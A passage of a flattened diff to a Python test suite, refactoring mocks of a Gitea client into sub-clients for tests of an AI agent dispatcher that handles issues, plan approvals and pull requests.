mock_client.notifications = MagicMock()
|
||||||
|
|
||||||
# Mock list_repo_pull_requests to return a PR that closes issue #42
|
# Mock list_repo_pull_requests to return a PR that closes issue #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -19,9 +22,15 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
|||||||
title="fix: resolve bug",
|
title="fix: resolve bug",
|
||||||
body="closes #42"
|
body="closes #42"
|
||||||
)
|
)
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -35,13 +44,14 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
|||||||
|
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
|
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
|
||||||
mock_client.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
mock_client.prs.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
# Mock list_repo_pull_requests to return PRs that don't address issue #42
|
# Mock list_repo_pull_requests to return PRs that don't address issue #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -49,8 +59,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
title="feat: add something",
|
title="feat: add something",
|
||||||
body="closes #99"
|
body="closes #99"
|
||||||
)
|
)
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
|
|
||||||
# Mock CoordinatorAgent invoking propose_plan tool
|
# Mock CoordinatorAgent invoking propose_plan tool
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -61,7 +71,13 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -79,8 +95,9 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
|
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
|
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
# Mock get_pull_request, get_pull_request_diff, etc.
|
# Mock get_pull_request, get_pull_request_diff, etc.
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -90,25 +107,31 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
|||||||
head={"ref": "branch1"},
|
head={"ref": "branch1"},
|
||||||
base={"ref": "master"}
|
base={"ref": "master"}
|
||||||
)
|
)
|
||||||
mock_client.get_pull_request.return_value = pr
|
mock_client.prs.get_pull_request.return_value = pr
|
||||||
mock_client.get_pull_request_diff.return_value = "diff context"
|
mock_client.prs.get_pull_request_diff.return_value = "diff context"
|
||||||
mock_client.get_pull_request_files.return_value = []
|
mock_client.prs.get_pull_request_files.return_value = []
|
||||||
mock_client.get_pull_request_comments.return_value = []
|
mock_client.prs.get_pull_request_comments.return_value = []
|
||||||
|
|
||||||
# Mock the connected issue and its comments
|
# Mock the connected issue and its comments
|
||||||
issue = IssueModel(number=42, title="bug description")
|
issue = IssueModel(number=42, title="bug description")
|
||||||
mock_client.get_issue.return_value = issue
|
mock_client.issues.get_issue.return_value = issue
|
||||||
|
|
||||||
comment = CommentModel(id=1, body="First comment")
|
comment = CommentModel(id=1, body="First comment")
|
||||||
mock_client.get_issue_comments.return_value = [comment]
|
mock_client.issues.get_issue_comments.return_value = [comment]
|
||||||
|
|
||||||
# Mock CodingAgent
|
# Mock CodingAgent
|
||||||
mock_agent_instance = MagicMock()
|
mock_agent_instance = MagicMock()
|
||||||
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
|
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
|
||||||
mock_agent_class.return_value = mock_agent_instance
|
mock_agent_class.return_value = mock_agent_instance
|
||||||
|
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -126,46 +149,54 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
|||||||
assert "bug description" in mission
|
assert "bug description" in mission
|
||||||
assert "First comment" in mission
|
assert "First comment" in mission
|
||||||
|
|
||||||
mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.issues.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||||
mock_client.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.issues.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
||||||
|
|
||||||
|
|
||||||
async def test_find_pr_for_issue_by_branch() -> None:
|
async def test_find_pr_for_issue_by_branch() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
# 1. Matches fix/issue-42-some-desc
|
# 1. Matches fix/issue-42-some-desc
|
||||||
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
|
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr1]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr1]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 2. Matches fix/42
|
# 2. Matches fix/42
|
||||||
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
|
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr2]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr2]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 3. Matches fix-42_desc
|
# 3. Matches fix-42_desc
|
||||||
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
|
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr3]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr3]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 4. Does NOT match fix/142
|
# 4. Does NOT match fix/142
|
||||||
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
|
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr4]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr4]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||||
|
|
||||||
# 5. Does NOT match fix/421
|
# 5. Does NOT match fix/421
|
||||||
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
|
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr5]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr5]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
async def test_find_pr_for_issue_by_raw_mention() -> None:
|
async def test_find_pr_for_issue_by_raw_mention() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
# PR body mentions #42
|
# PR body mentions #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -174,33 +205,51 @@ async def test_find_pr_for_issue_by_raw_mention() -> None:
|
|||||||
body="This is for #42 to fix the bug",
|
body="This is for #42 to fix the bug",
|
||||||
head={"ref": "some-branch"}
|
head={"ref": "some-branch"}
|
||||||
)
|
)
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
|
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
|
||||||
assert res is not None
|
assert res is not None
|
||||||
assert res.number == 103
|
assert res.number == 103
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_already_reviewed_pr() -> None:
|
async def test_dispatch_skips_already_reviewed_pr() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
|
mock_client.prs = MagicMock()
|
||||||
|
mock_client.issues = MagicMock()
|
||||||
|
mock_client.notifications = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
from gitea.models import UserModel
|
from gitea.models import UserModel
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
number=104,
|
number=104,
|
||||||
title="already reviewed PR",
|
title="already reviewed PR",
|
||||||
body="closes #42",
|
body="closes #42",
|
||||||
user=UserModel(login="unknown-ai")
|
user=UserModel(login="unknown-ai"),
|
||||||
|
requested_reviewers=[],
|
||||||
)
|
)
|
||||||
mock_client.get_pull_request.return_value = pr
|
mock_client.prs.get_pull_request.return_value = pr
|
||||||
mock_client.get_pull_request_diff.return_value = "diff"
|
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
||||||
mock_client.get_pull_request_comments.return_value = [
|
mock_client.prs.get_pull_request_comments.return_value = [
|
||||||
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
|
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
|
||||||
]
|
]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -225,7 +274,7 @@ def _make_comment(login: str, body: str) -> CommentModel:
|
|||||||
|
|
||||||
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
|
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
return AgentDispatcher(client=mock_client, tools=MagicMock())
|
return AgentDispatcher(client=mock_client, tools=MagicMock())
|
||||||
|
|
||||||
|
|
||||||
@@ -266,12 +315,13 @@ def test_is_awaiting_reply_no_marker_not_detected() -> None:
|
|||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||||
@@ -280,7 +330,13 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -292,17 +348,18 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||||
@@ -311,7 +368,13 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -323,19 +386,20 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
|
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
|
||||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Human comments indicating satisfaction after our answer
|
# Human comments indicating satisfaction after our answer
|
||||||
mock_client.get_issue_comments.return_value = [
|
mock_client.issues.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "Yes, thanks! That makes sense.")
|
_make_comment("michael", "Yes, thanks! That makes sense.")
|
||||||
]
|
]
|
||||||
@@ -347,7 +411,13 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -359,27 +429,28 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
|
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
|
||||||
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
||||||
mock_client.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.issues.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||||
|
|
||||||
|
|
||||||
@patch("subprocess.run")
|
@patch("subprocess.run")
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
mock_client.get_issue_comments.return_value = [
|
mock_client.issues.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "looks good, go ahead")
|
_make_comment("michael", "looks good, go ahead")
|
||||||
]
|
]
|
||||||
|
|
||||||
# Return PR object on creation
|
# Return PR object on creation
|
||||||
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
|
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
|
||||||
mock_client.create_pull_request.return_value = mock_pr
|
mock_client.prs.create_pull_request.return_value = mock_pr
|
||||||
|
|
||||||
# Mock planning agent deciding EXECUTE_PLAN
|
# Mock planning agent deciding EXECUTE_PLAN
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -390,7 +461,13 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
|||||||
# Mock coding agent executing plan
|
# Mock coding agent executing plan
|
||||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
|
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -408,20 +485,21 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
|||||||
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
|
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
|
||||||
|
|
||||||
# Verify WIP PR creation and starting comment
|
# Verify WIP PR creation and starting comment
|
||||||
mock_client.create_pull_request.assert_called_once_with(
|
mock_client.prs.create_pull_request.assert_called_once_with(
|
||||||
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
|
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
|
||||||
)
|
)
|
||||||
mock_client.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
mock_client.issues.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
||||||
|
|
||||||
|
|
||||||
@patch("subprocess.run")
|
@patch("subprocess.run")
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
